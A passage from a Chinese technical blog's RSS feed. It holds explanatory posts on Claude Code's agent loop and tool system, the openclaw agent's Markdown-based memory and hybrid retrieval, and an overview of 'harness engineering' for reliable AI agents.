是&quot;继续&quot;的信号，携带原因和附加信息，指导下一轮迭代的行为</li><li>Terminal 是&quot;终止&quot;的信号，携带原因，结束循环并返回给调用方</li></ul><p>关键的转换路径包括：</p><ol><li><strong>next_turn</strong>：正常的工具调用后继续。消息列表扩展为原始消息加上助手消息和工具结果，turn 计数递增。这是最常见也是最简单的转换路径。</li><li><strong>max_output_tokens_recovery</strong>：模型输出被截断时，注入恢复消息后继续循环。恢复消息指导模型从截断处继续。最多重试 3 次。这个路径的存在是因为 LLM 有时会在输出过长时被 API 截断——不是错误，而是模型&quot;说得太多&quot;了。恢复消息相当于告诉模型&quot;你刚才的话说到一半被打断了，请从中断处继续&quot;。</li><li><strong>max_output_tokens_escalate</strong>：首次截断时尝试提升输出 token 限制，而非注入恢复消息。这是一种更优雅的恢复策略——与其让模型从中断处继续，不如给它更大的输出空间，让它一次性完成。只有当提升限制后仍然截断时，才回退到 recovery 路径。</li><li><strong>reactive_compact_retry</strong>：上下文过长时，通过响应式压缩恢复。压缩失败则终止循环。这个路径是对话循环的&quot;紧急刹车&quot;——当所有预防性压缩手段都没能阻止上下文溢出时，reactive compact 作为最后的恢复手段尝试挽救对话。</li><li><strong>collapse_drain_retry</strong>：上下文折叠的溢出恢复路径。优先于响应式压缩执行，因为折叠保留粒度更细的上下文。这个优先级排序体现了&quot;最小信息损失&quot;原则——在所有恢复手段中，优先使用丢失信息最少的方法。</li><li><strong>stop_hook_blocking</strong>：Stop hook 返回阻塞错误时，将错误注入消息列表后继续，让模型有机会修正。这个路径展示了 Agent 系统的一个关键设计理念：<strong>错误不一定是终止条件，也可以是反馈信号。</strong> 模型收到 hook 的错误信息后，可能会调整策略并尝试不同的方案。</li><li><strong>token_budget_continuation</strong>：Token 预算管理触发的继续，注入一个提示消息提醒模型注意预算。这类似于手机流量套餐的&quot;余额不足提醒&quot;——不是立即断网，而是提醒用户注意剩余流量。</li></ol><p>每条 continue 路径都精心构造了新的状态对象，确保不同的恢复策略之间不会冲突。<code>transition</code> 字段的存在使得后续迭代可以识别&quot;我是怎么来到这里的&quot;，从而做出更智能的决策。</p><blockquote><p><strong>最佳实践：</strong> 在设计自己的 Agent 循环时，为每条 Continue 路径记录原因（transition reason）是一个简单但极其有效的调试手段。当 Agent 行为异常时，追溯 transition 链可以帮助你快速定位是哪一次转换引入了问题。</p></blockquote><h1>工具系统</h1><p>如果 Agent 只有一个 Bash 工具，所有任务都会变成 Shell 命令——读取文件用 <code>cat</code>，搜索代码用 <code>grep</code>，编辑文件用 <code>sed</code>。这虽然可行，但违反了&quot;使用正确工具解决正确问题&quot;的工程原则。Claude Code 的工具系统提供了 45+ 个专门化工具，每个工具针对特定的操作类型做了优化——这就好比为不同任务配备不同的专业工具，而不是用一把锤子解决所有问题。</p><h2 id="工具协议">工具协议</h2><p>Claude Code 的每个工具都遵循一个统一的类型契约 – <code>Tool&lt;Input, Output, Progress&gt;</code>。这个契约定义在工具类型核心模块中，是整个工具系统的基石。理解它，就理解了 Agent &quot;双手&quot;的解剖结构。</p><p>这个协议的设计哲学可以用&quot;接口即架构&quot;来概括：通过定义严格的类型接口，工具系统的所有架构约束——权限检查、并发控制、进度报告、UI 渲染——都被编译器强制执行。开发者无法&quot;忘记&quot;实现某个方法，因为类型检查器会立即报错。</p><p>核心类型：Tool、Tools、ToolDef、buildTool</p><p><code>Tool</code> 类型是一个泛型接口，接受三个类型参数：</p><ul><li><code>Input extends AnyObject</code>：使用 Zod schema 定义的工具输入类型，确保每个工具的输入都是一个结构化对象。</li><li><code>Output</code>：工具的输出类型，自由定义。</li><li><code>P extends ToolProgressData</code>：工具的进度数据类型，用于流式反馈。</li></ul><p>每个工具必须实现的五要素如下</p><p><strong>要素一：名称与别名</strong></p><p>每个工具拥有一个唯一的名称标识符，以及可选的别名用于向后兼容。当工具重命名时，旧名称可以通过别名继续匹配。工具查找函数同时检查主名称和别名。</p><p>别名机制的存在揭示了一个工程实践原则：<strong>在公开 API 中，重命名是&quot;只增不减&quot;的操作。</strong> 即使某个工具的名称不再准确（如从 <code>SearchTool</code> 重命名为 <code>GrepTool</code>），旧名称也必须通过别名保持可用，否则依赖旧名称的配置、脚本和用户习惯都会被打破。</p><p><strong>要素二：Zod Schema</strong></p><p>每个工具使用 Zod 定义其输入参数的 schema。Zod schema 承担了双重职责：</p><ol><li><strong>运行时验证</strong>：在工具执行之前，LLM 生成的参数经过 Zod 解析，确保类型和约束的正确性。这是&quot;不要信任外部输入&quot;原则的体现——LLM 的输出是不可控的，工具必须自我保护。</li><li><strong>API 通信</strong>：Zod schema 通过转换层生成 JSON Schema 发送给 API，让模型知道每个参数的含义和约束。这意味着 schema 定义就是工具的&quot;使用说明书&quot;——模型看到的参数描述来自 Zod schema 中的 <code>describe()</code> 调用。</li></ol><blockquote><p><strong>交叉引用：</strong> Zod schema 的验证发生在第 4 章权限管线的第一阶段（validateInput），这是&quot;安全边界内嵌&quot;设计原则的具体体现。</p></blockquote><p><strong>要素三：权限模型</strong></p><p>权限相关的三个方法构成了分层的权限检查管线：</p><ol><li><strong>第一层：输入验证（validateInput）</strong>：在权限检查之前运行，用于拒绝无效输入。这是&quot;数据合法性&quot;检查，与权限无关。</li><li><strong>第二层：权限检查（hasPermissionsToUseTool + checkPermissions）</strong>：包含工具特定的权限逻辑。不同工具的权限检查粒度不同——Read 工具可能只检查路径是否在允许列表内，而 Bash 工具需要解析命令、评估风险等级。</li><li><strong>第三层：运行时属性判断</strong>：影响工具的并发调度策略。例如 <code>isConcurrencySafe()</code> 标记工具是否可以并行执行。</li></ol><p>三层分离的设计哲学是&quot;关注点分离&quot;：数据验证不关心权限策略，权限策略不关心并发调度。每层只做一件事，但三层串联起来提供了完整的防护。</p><p><strong>要素四：执行逻辑</strong></p><p>这是工具的核心执行方法。它接收解析后的输入参数、工具使用上下文、权限检查函数、父消息引用和一个可选的进度回调。返回的结果携带输出数据和可选的上下文修改器。</p><p>上下文修改器（contextModifier）允许工具在执行后修改上下文（如更新文件缓存），这是工具影响后续行为的关键通道。例如，FileWriteTool 在写入文件后会通过 contextModifier 更新文件状态缓存，使得后续的 FileReadTool 能看到最新的文件内容。</p><p><strong>要素五：UI 渲染</strong></p><p>工具拥有丰富的渲染方法集合，覆盖了完整的 UI 生命周期：</p><ul><li><code>renderToolUseMessage</code>：工具调用开始时展示（如 “Reading src/foo.ts”）</li><li><code>renderToolUseProgressMessage</code>：工具执行中的进度展示</li><li><code>renderToolResultMessage</code>：工具结果展示</li><li><code>renderToolUseRejectedMessage</code>：权限被拒绝时的展示</li><li><code>renderToolUseErrorMessage</code>：执行出错时的展示</li><li><code>renderGroupedToolUse</code>：多个并行工具的分组展示</li></ul><p>每个渲染方法都返回 <code>React.ReactNode</code>，使得工具系统与 React 渲染管线深度集成。这个设计选择意味着工具的 UI 表现可以像 React 组件一样灵活——进度条、颜色高亮、折叠面板、表格布局，都可以通过 React 组件实现。</p><p>这六个渲染方法的覆盖范围值得注意：它涵盖了工具调用的&quot;生老病死&quot;——从开始（renderToolUseMessage）到进行中（renderToolUseProgressMessage），到成功（renderToolResultMessage）、被拒（renderToolUseRejectedMessage）、出错（renderToolUseErrorMessage），以及并行执行的分组展示（renderGroupedToolUse）。这种完整的生命周期覆盖确保了用户在任何状态下都能看到清晰、有意义的 UI 反馈。</p><h2 id="工具注册和发现机制">工具注册和发现机制</h2><p>getAllBaseTools() 完整工具清单：</p><p><code>getAllBaseTools()</code> 是所有内建工具的注册中心。它返回一个扁平数组，包含了 Claude Code 所有可用的工具。通过这个函数，我们可以统计出核心工具清单，并按功能分类：</p><table><thead><tr><th style="text-align:left">类别</th><th style="text-align:left">工具</th><th style="text-align:left">职责</th><th style="text-align:left">并发安全</th></tr></thead><tbody><tr><td style="text-align:left">执行</td><td style="text-align:left">BashTool</td><td style="text-align:left">运行 Shell 命令</td><td style="text-align:left">否（副作用）</td></tr><tr><td style="text-align:left">文件</td><td style="text-align:left">FileReadTool, FileEditTool, FileWriteTool</td><td style="text-align:left">读取、编辑、写入文件</td><td style="text-align:left">Read 是，Edit/Write 否</td></tr><tr><td style="text-align:left">搜索</td><td style="text-align:left">GlobTool, GrepTool</td><td style="text-align:left">文件名模式匹配、内容搜索</td><td style="text-align:left">是</td></tr><tr><td style="text-align:left">笔记本</td><td style="text-align:left">NotebookEditTool</td><td style="text-align:left">Jupyter Notebook 编辑</td><td style="text-align:left">否</td></tr><tr><td style="text-align:left">网络</td><td style="text-align:left">WebFetchTool, WebSearchTool</td><td style="text-align:left">获取 URL 内容、网络搜索</td><td style="text-align:left">是</td></tr><tr><td style="text-align:left">智能</td><td style="text-align:left">AgentTool</td><td style="text-align:left">子智能体入口</td><td style="text-align:left">否</td></tr><tr><td style="text-align:left">任务</td><td style="text-align:left">TodoWriteTool, TaskCreateTool 等</td><td style="text-align:left">任务管理</td><td style="text-align:left">视具体工具而定</td></tr><tr><td style="text-align:left">规划</td><td style="text-align:left">EnterPlanModeTool, ExitPlanModeV2Tool</td><td style="text-align:left">计划模式切换</td><td style="text-align:left">否</td></tr><tr><td style="text-align:left">交互</td><td style="text-align:left">AskUserQuestionTool</td><td style="text-align:left">向用户提问</td><td style="text-align:left">否（需要用户响应）</td></tr><tr><td style="text-align:left">技能</td><td style="text-align:left">SkillTool</td><td style="text-align:left">调用 slash command 技能</td><td style="text-align:left">否</td></tr><tr><td style="text-align:left">配置</td><td style="text-align:left">ConfigTool</td><td style="text-align:left">修改配置</td><td style="text-align:left">否</td></tr><tr><td style="text-align:left">MCP</td><td style="text-align:left">ListMcpResourcesTool, ReadMcpResourceTool</td><td style="text-align:left">MCP 资源访问</td><td style="text-align:left">是</td></tr><tr><td style="text-align:left">工作树</td><td style="text-align:left">EnterWorktreeTool, ExitWorktreeTool</td><td style="text-align:left">Git worktree 管理</td><td style="text-align:left">否</td></tr><tr><td style="text-align:left">通知</td><td style="text-align:left">BriefTool</td><td style="text-align:left">消息发送</td><td style="text-align:left">否</td></tr><tr><td style="text-align:left">搜索发现</td><td style="text-align:left">ToolSearchTool</td><td style="text-align:left">延迟工具发现</td><td style="text-align:left">是</td></tr></tbody></table><p>那么这么多工具怎么办？就是我们的：</p><p>ToolSearchTool 延迟发现机制：</p><p>当工具数量超过一定阈值时，Claude Code 启用延迟工具发现（deferred tool discovery）。核心思路是：不在初始系统提示中发送所有工具的完整 schema，而是只发送工具名称列表，让模型通过 ToolSearchTool 按需加载。</p><p>用一个类比来理解：传统方式像是把整本百科全书放在模型面前——即使大部分内容在当前对话中用不到。延迟发现则像是给模型一个目录索引——模型知道有哪些工具可用，只在需要时翻开对应的页面查看详细参数。</p><p>ToolSearchTool 的实现遵循标准的工厂函数模式。判断一个工具是否应该被延迟的逻辑是：显式标记为总是加载的工具不延迟、MCP 工具总是延迟、工具搜索工具自身不延迟。</p><p>这个机制的核心价值在于节省 prompt 空间：当 MCP 服务器注册了数十个工具时，全部发送给 API 会消耗大量 token。延迟发现让模型只在需要时加载工具的完整 schema，显著减少了初始 prompt 的大小。</p><p>工具过滤机制：</p><ol><li><strong>模式过滤</strong>：根据模式过滤工具。简单模式只保留 Bash、Read、Edit；普通模式排除特殊工具。这种模式化的工具过滤确保了在受限环境中 Agent 只能使用最基本的工具集。</li><li><strong>拒绝规则过滤</strong>：移除被 blanket deny 规则匹配的工具。</li><li><strong>启用状态检查</strong>：过滤掉未启用的工具。</li><li><strong>工具池组装</strong>：合并内建工具与 MCP 工具，按名称排序去重。排序的目的是确保 prompt 缓存稳定性——工具顺序变化会导致缓存失效。</li></ol><h2 id="基础工具解析">基础工具解析</h2><p>BashTool：</p><p>BashTool 在工具系统中的特殊地位体现在以下方面：</p><ul><li><strong>错误传播</strong>：当 BashTool 执行失败时，会取消所有并行的 Bash 工具调用。这是因为 Bash 命令之间往往存在隐式依赖链（如 <code>mkdir</code> 失败后后续命令无意义）。这个设计体现了&quot;快速失败&quot;原则——与其让后续命令在一个已损坏的环境中继续执行并产生更多错误，不如立即停止整个批次。</li><li><strong>中断行为</strong>：BashTool 可以自定义用户中断时的行为。某些长时间运行的命令（如测试套件）可能选择阻塞而非取消。这个设计反映了对用户意图的精细理解：中断一个正在运行的 <code>npm install</code> 应该立即停止（用户改了主意），但中断一个测试套件可能只是用户想看当前进度（测试完成后结果仍然有价值）。</li><li><strong>语义分析</strong>：BashTool 会对命令进行 AST 解析和语义分析，判断命令是否为搜索/读取操作（<code>isSearchOrReadCommand</code>），用于 UI 折叠展示。这体现了&quot;智能工具&quot;的设计理念——工具不仅是被动执行命令的管道，还能理解命令的语义并做出相应的 UI 决策。</li><li><strong>沙盒集成</strong>：通过 <code>--dangerouslyDisableSandbox</code> 参数和沙盒配置，控制命令执行的安全边界。沙盒是 BashTool 的&quot;安全网&quot;——即使在 bypass 权限模式下，沙盒仍然可以限制命令的文件系统访问范围。</li></ul><p>文件工具：</p><p>这三个工具构成了 Claude Code 文件操作的完整能力集。它们的分工反映了经典数据库操作的 CRUD 模式（Create/Read/Update），只是缺少了 Delete——这是一个有意为之的安全决策，因为&quot;删除文件&quot;是不可逆操作，通常通过 BashTool 的 <code>rm</code> 命令来实现，这会触发更严格的权限检查。</p><p><strong>FileReadTool</strong> 负责读取文件内容。它维护了文件状态缓存，用于追踪哪些文件已被读取，避免重复注入内存附件。这个缓存机制是性能优化的关键——如果同一个文件被读取多次（在不同的工具调用轮次中），缓存确保只在第一次读取时触发实际的文件 I/O，后续读取直接使用缓存结果。</p><p><strong>FileEditTool</strong> 负责精确编辑文件。它使用 <code>old_string -&gt; new_string</code> 的精确替换模式，而非行号范围，确保编辑操作在文件变化时仍然正确。这个选择值得深入分析：</p><ul><li><strong>为什么不用行号？</strong> 行号是脆弱的——如果在读取文件和编辑文件之间，另一个工具（或用户）修改了文件，行号可能已经偏移，导致编辑错误的位置。</li><li><strong>为什么用精确字符串匹配？</strong> 字符串匹配是幂等的——只要目标字符串存在于文件中，编辑就能正确定位。即使文件被部分修改，只要目标片段没有被触及，编辑就是安全的。</li></ul><p>FileEditTool 的 <code>isDestructive</code> 方法会根据编辑内容判断是否为破坏性操作（如删除大量代码）。这种上下文感知的破坏性判断比简单的&quot;写入即破坏性&quot;标签更加精确。</p><p><strong>FileWriteTool</strong> 负责创建或完全覆写文件。这是最&quot;重&quot;的文件操作，权限检查最为严格。FileWriteTool 与 FileEditTool 的区别在于作用范围——Edit 只修改文件中的特定片段，Write 可以完全覆盖文件内容。因此，Write 的权限检查标准更高。</p><p>三个工具都支持 <code>contextModifier</code>，在执行后更新文件状态缓存，使得后续的工具调用和内存附件注入能看到最新的文件状态。</p>]]></content:encoded>
      
      
      <category domain="https://blog.tokenlen.top/categories/Agent/">Agent</category>
      
      
      <category domain="https://blog.tokenlen.top/tags/AI/">AI</category>
      
      
      <comments>https://blog.tokenlen.top/2026/03/29/message/new/claude%20code2/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>openclaw记忆系统解析</title>
      <link>https://blog.tokenlen.top/2026/03/26/message/new/openclaw_memory/</link>
      <guid>https://blog.tokenlen.top/2026/03/26/message/new/openclaw_memory/</guid>
      <pubDate>Wed, 25 Mar 2026 16:00:00 GMT</pubDate>
      
        
        
          
          
      <description>&lt;h1&gt;架构设计&lt;/h1&gt;
&lt;p&gt;openclaw最近也是非常火爆啊，作为一个这么优秀的智能体来说，我们最关注的就这个agent的上下文和记忆系统是怎么去设计的！&lt;/p&gt;
&lt;h2</description>
          
        
      
      
      
      <content:encoded><![CDATA[<h1>架构设计</h1><p>openclaw最近也是非常火爆啊，作为一个这么优秀的智能体来说，我们最关注的就这个agent的上下文和记忆系统是怎么去设计的！</p><h2 id="记忆">记忆</h2><p>openclaw设计最好的就是他的记忆完全是由markdown去做的，AI更好的适配Markdown。</p><p>主要是有长期记忆和会话记忆组成：</p><ul><li><a href="http://Memory.md">Memory.md</a>：这里是用户的个性记忆，比如喜好，编码记忆等等，其实就是我们coding <a href="http://xn--agentAGENT-mk5yr80vfgp.MD">agent里面的AGENT.MD</a> 一样,这部分记忆是不会被压缩的</li><li>会话记忆：是根据会话sessionID来的，一个session里面包含多个时间的文件夹记忆，这里面详细写了Openclaw的执行过程。然后这部分记忆是进行压缩的时候进行写入的</li></ul><p>举例：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"># 核心记忆与设定</span><br><span class="line"></span><br><span class="line">## 用户偏好 (User Preferences)</span><br><span class="line">* 偏好使用 `pnpm` 而不是 `npm` 或 `yarn`。</span><br><span class="line">* 极其讨厌在代码里留 `console.log`，提交代码前必须清理。</span><br><span class="line"></span><br><span class="line">## 项目架构准则 (Project Directives)</span><br><span class="line">* **数据库连接:** 这个项目使用的是 TiDB，所有的数据库查询超时时间必须设置为 5000ms（详见 `config/db.ts`）。</span><br><span class="line">* **API 规范:** 所有的 API 响应必须包裹在 `&#123; success: boolean, data: any, error: string | null &#125;` 的结构中。</span><br><span class="line"></span><br><span class="line">## 历史重大教训</span><br><span class="line">* 2026-02-15: 不要尝试升级 `react-router-dom` 到 v7，会导致旧版的鉴权中间件彻底崩溃，目前锁定在 v6.28.0。</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"># 2026-03-25 工作记录</span><br><span class="line"></span><br><span class="line">## 上午任务：修复登录页面的并发 Bug</span><br><span class="line">* **现象:** 用户在弱网环境下狂点登录按钮，会触发多次 API 请求。</span><br><span class="line">* **处理过程:** 1. 我查看了 `src/components/Login.tsx`。</span><br><span class="line">  2. 尝试引入 `lodash.debounce`，但发现项目中已经有自定义的 `useDebounce` hook。</span><br><span class="line">  3. 修改了按钮状态，加入了 `isSubmitting` 的锁定逻辑。</span><br><span class="line">* **结果:** Bug 修复成功，代码已 Commit。</span><br><span class="line"></span><br><span class="line">## 待办事项 (转移给明天的自己)</span><br><span class="line">* 登录接口的性能监控还没加，明天需要优先处理。</span><br></pre></td></tr></table></figure><p>那么现在我们的记忆进行了存储，那么如何进行检索呢？我们如何使用这些长期记忆</p><p>openclaw提供了一个混合检索记忆的策略：</p><p><strong><code>sqlite-vec</code> (向量检索):</strong> 将文本转化为多维向量，负责“模糊匹配”和“概念联想”。哪怕你提问的字眼变了，只要语义相近，它就能懂。</p><p><strong><code>FTS5</code> (全文检索):</strong> SQLite 官方的倒排索引扩展。负责“精确打击”，专门用来死磕那些不能有一个字母差错的代码变量名、报错日志和专有名词。</p><p><strong><code>qmd</code> (Quick Markdown 服务):</strong> 专门针对庞大的工作区文件（如 README、长篇 API 文档）进行高速解析和检索的外挂服务。</p><p><strong>重排融合:</strong> 这三路召回的数据会被系统进行打分、去重和排序，最终提取出最相关的记忆碎片，塞回第一步的“上下文构建”环节中。</p><p>其实这些也是我们RAG进行优化的一部分，如果要再更复杂一点的记忆，我们还可以引入Graph RAG，使用知识图谱来标记文档的关系，但是目前来说不适合openclaw</p><hr><p>总结一下openclaw的记忆系统，是基于文件系统Markdown做的存储，使用混合检索重拍来获取对应的记忆</p><h2 id="上下文构建">上下文构建</h2><p>上下文block是分为这几个组成部分的：</p><ul><li><p><strong>系统级 Prompt &amp; 设定:</strong> AI 的核心人格与全局规则</p></li><li><p><strong><a href="http://SKILL.md">SKILL.md</a> 工具指令:</strong> 当前工作区允许 AI 调用的能力清单。</p></li><li><p>一些默认的配置MD：比如：</p><p>AGENTS.md<code>：操作指令和持久行为笔记。</code>SOUL.md<code>：定义 Agent 的人设、语气和边界。</code>TOOLS.md<code>：本地工具的使用说明。</code>IDENTITY.md<code>：Agent 的名称和风格。</code>USER.md`：用户画像和偏好</p></li><li><p><strong>长期记忆碎片:</strong> 通过底层检索引擎捞出来的历史相关背景</p></li><li><p><strong>短期会话 (Short-term Memory):</strong> 最近的几轮对话记录。</p></li><li><p><strong>工具动态观察 (Observation):</strong> AI 刚刚执行完代码或命令后的真实返回结果</p></li></ul><p>然后其中毕竟重要的就是Skills+长期记忆碎片</p><p>skills是在系统提示词里面选出来的具体的skills的具体的内容</p><p>长期记忆是从Markdown里面捞取出来的相关的记忆</p><p>然后最好这些上下文不要超过窗口的40%，根据研究，40%的上下文是最好的，模型响应最优的</p>]]></content:encoded>
      
      
      <category domain="https://blog.tokenlen.top/categories/Agent/">Agent</category>
      
      
      <category domain="https://blog.tokenlen.top/tags/AI/">AI</category>
      
      
      <comments>https://blog.tokenlen.top/2026/03/26/message/new/openclaw_memory/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>Harness Engineering 解析</title>
      <link>https://blog.tokenlen.top/2026/03/25/message/new/harness/</link>
      <guid>https://blog.tokenlen.top/2026/03/25/message/new/harness/</guid>
      <pubDate>Tue, 24 Mar 2026 16:00:00 GMT</pubDate>
      
        
        
          
          
      <description>&lt;h1&gt;背景&lt;/h1&gt;
&lt;p&gt;在人工智能走向自主智能体（AI</description>
          
        
      
      
      
      <content:encoded><![CDATA[<h1>背景</h1><p>在人工智能走向自主智能体（AI Agents）的进程中，2026年标志着一个关键的转折点。过去，行业的焦点集中在提升大语言模型（LLM）的参数量和推理能力上；但如今，瓶颈已经发生了转移——AI智能体生成代码和解决方案的速度，已经远远超过了人类团队能够验证其安全性和正确性的速度。</p><p>“Harness工程”最先由业界从2025年底开始提出。它着眼于为AI智能体提供一个完整的运行环境和工作流，使模型使用工具、执行多步任务，真正“做实事</p><p>如果一个演示系统有 90% 的成功率，这仅仅是完成了“第一个九”。在实际生产中，一个包含10个步骤的 Agentic Workflow 如果每步只有 90% 的可靠性，那么它每天会失败超过6次。仅靠提示词工程（Prompt Engineering）根本无法达到生产级别的稳定性。</p><p>就是说</p><p><strong>真正卡你的不是 Agent 写代码的能力，而是围绕它的结构、工具和反馈机制跟不上</strong></p><p>不是我们模型的能力限制，是你没准备好给他一个适于写代码的环境！</p><p>所以我们的Harness Engineering就是相当于汽车的壳子，模型相当于我们的发动机！</p><p>在OpenAI的定义中，harness工程是一种内部方法论，将Codex（GPT系列的代码模型）等智能体嵌入到软件开发生命周期的各个环节：它包括标准化工作流、反馈循环、脚手架和验证机制，使得代码编写、测试生成、可观察性管理等任务由AI智能体自动执行</p><p>Harness工程可定义为：“将AI模型转化为可用系统所依赖的所有非模型代码、配置和执行逻辑”，使得原本无状态的模型在多步、可测、可安全的任务中表现可靠。</p><h1>架构设计</h1><h2 id="Agent目前的架构划分">Agent目前的架构划分</h2><p>在目前的 AI 工程栈中，极易混淆“框架（Framework）”、“运行时（Runtime）”与“线束（Harness）”的概念。根据 LangChain 等前沿机构在2026年的最新定义，这三者在架构中扮演着截然不同、层层递进的角色：</p><table><thead><tr><th><strong>Agent Framework (框架)</strong></th><th>LangChain, Vercel AI SDK, LlamaIndex</th><th><strong>静态蓝图与逻辑</strong>：定义了智能体的底层抽象、使用哪个LLM、提示词模板和工具集。它是开发者编写应用逻辑的库。</th><th>软件的“大脑逻辑”与“蓝图”</th></tr></thead><tbody><tr><td><strong>Agent Runtime (运行时)</strong></td><td>LangGraph</td><td><strong>执行与状态维护</strong>：负责管理动态执行过程。它维护跨线程的持久化对话状态、支持流式输出、控制多节点流转以及“人类在环（Human-in-the-loop）”的基础设施。</td><td>软件的“神经系统”</td></tr><tr><td><strong>Agent Harness (线束)</strong></td><td>DeepAgents, OpenAI Codex Harness</td><td><strong>生产级外壳与管控边界</strong>：包裹在Agent之外的终极基础设施。它处理所有生产级安全与保障：权限认证、沙箱隔离、自动上下文压缩、强制验证闭环（Ralph Loops）、遥测抓取以及防止幻觉的硬性护栏。</td><td>软件的“免疫系统”与“操作系统”</td></tr></tbody></table><p>然后我们之前划分的多个提示词工程，上下文工程，约束工程他们分别的关系是什么样子的呢？</p><table><thead><tr><th style="text-align:left">维度</th><th style="text-align:left">Prompt Engineering</th><th style="text-align:left">Context Engineering</th><th style="text-align:left">Harness Engineering</th></tr></thead><tbody><tr><td style="text-align:left">关注粒度</td><td style="text-align:left">单次调用</td><td style="text-align:left">会话 / 信息层</td><td style="text-align:left">系统 / 生命周期层</td></tr><tr><td style="text-align:left">核心问题</td><td style="text-align:left">怎么“说”</td><td style="text-align:left">Agent“知道”什么</td><td style="text-align:left">Agent 在什么环境中“做事”</td></tr><tr><td style="text-align:left">主要手段</td><td style="text-align:left">模板、Few‑shot</td><td style="text-align:left">RAG、Memory、<a href="http://AGENTS.md">AGENTS.md</a>、工具注入</td><td style="text-align:left">架构约束、自定义 Linter、自验证循环、垃圾回收 Agent</td></tr><tr><td style="text-align:left">能解决</td><td style="text-align:left">单轮输出质量</td><td style="text-align:left">短期 hallucination 与信息缺失</td><td style="text-align:left">长任务可靠性、长期可维护性</td></tr><tr><td style="text-align:left">局限</td><td style="text-align:left">无状态、无工具</td><td style="text-align:left">Token 限制、注意力衰减</td><td style="text-align:left">前期投入大、对团队工程能力要求高</td></tr></tbody></table><p>然后如果我们去说一个包含关系的话，提示词工程是最细的，上下文包含提示词，约束工程包含上下文</p><p>在 Prompt/Context 范式下，交互模式基本是“你问我答”：人类提出问题或任务描述，模型一次性给出结果。复杂任务需要人类不断分解、重试和手动粘合中间结果。</p><p>Harness Engineering 下，交互模式变为“赛道设计”：工程师定义任务拆解策略、仓库结构、工具集合和验证流程，Agent 按既定循环（Plan‑Build‑Verify‑Fix）长时间运行，Harness 负责中途纠偏和状态持久化。人类更多在元层面对系统进行调参和改进，而非直接介入每一步代码生成。这个感觉是未来的大大的方向</p><h2 id="Harness的核心设计">Harness的核心设计</h2><p>一个成熟的 Harness（例如 LangChain 研发的 <code>deepagents</code> 库）必须通过提供特定的工具和环境，来对抗模型上下文窗口的退化和逻辑发散。目前行业标准的 Harness 包含以下核心原语：</p><ul><li>强制规划工具：Harness 强制要求智能体在采取任何行动前，调用 <code>write_todos</code> 等规划工具。这本质上是一个“空操作（no-op）”，但它迫使智能体将复杂的长线任务拆解为离散步骤，防止在长周期任务中迷失方向。这个的话就比如我们维护一个当前任务的步骤的文件，然后我们每次开始之前都要去读步骤，然后结束的时候都要去写入。</li><li>持久化文件系统：Harness 提供了一套受控的虚拟文件系统工具（如 <code>read_file</code>, <code>write_file</code>, <code>ls</code>, <code>grep</code>）。由于网络搜索或日志结果往往高达数万 Token，直接塞入会“撑爆”上下文窗口。Harness 引导智能体将庞大的输出写入文件系统作为“共享账本”，按需读取，这被称为<strong>上下文卸载（Context Offloading）</strong>。就是用文件系统来作为我们Agent的记忆！可以按需求的读取和加载。业界常用的就是提供一个沙箱的文件的文件环境！</li><li>子智能体隔离：在处理复杂项目时，Harness 允许主智能体派生子智能体。其核心价值在于<strong>上下文隔离</strong>：子智能体在自己独立的上下文中执行几十次工具调用，完成后仅将压缩后的最终结果返回给主智能体，从而确保主上下文的纯净性。这个也是很重要的，因为如果不隔离的话，他们的上下文混合在一起，非常混乱，我们的主Agent只去关心子Agent执行的结果，不关心的执行过程！</li><li>沙箱与 Ralph Loops 强制闭环：智能体生成的代码不能在宿主机直接运行。Harness 提供了安全的 Docker 沙箱环境执行 Bash 命令。 更关键的是引入了 <strong>Ralph Loops（测试优先闭环）</strong>：Harness 不允许智能体单方面宣布“任务完成”。当智能体试图退出时，Ralph Loop 会拦截退出请求，强制执行测试。如果测试失败，Harness 会将红色的报错堆栈作为客观证据反馈给模型，强制其开启新一轮迭代，直到客观测试通过。这种机制将盲目的代码生成转化为严谨的“测试驱动开发（TDD）”。这个是非常重要的！因为Ai很可能就不测试就告诉你完成了！所以这个执行完的检查钩子是非常重要的！</li><li>遥测与极端验证：对于关键任务，Harness 会接入遥测数据。例如 Datadog 在其 Harness 实践中，建立了一个验证金字塔：从最底层的经验法则（Telemetry）到有界验证（如 Rust Kani），甚至采用 TLA+ 形式化模型检查技术，将架构决策记录（ADRs）自动转化为状态不变量，用机器证明来彻底杜绝 AI 的违规操作。</li></ul><p>然后我们一般都分为两个阶段：<strong>脚手架</strong>（Scaffolding）和<strong>运行时Harness</strong></p><ul><li>脚手架负责在第一个提示前构造完整的Agent（如系统提示、工具注册、子Agent初始化），我们可以称它为环境准备或者是初始化</li><li>运行时Harness则将一个单轮LLM推理升级为持续的、多步骤的工作循环，包括工具调度、上下文管理、安全检查和状态持久化</li></ul><p>开发阶段：</p><p>然后可能持续推理的流程是：</p><p>1）<strong>初始化环境</strong>：建立仓库结构、配置CI/CD流水线、编写初始提示和环境模板；</p><p>2）<strong>迭代开发</strong>：Agent根据提示执行功能开发，生成代码并提交Pull 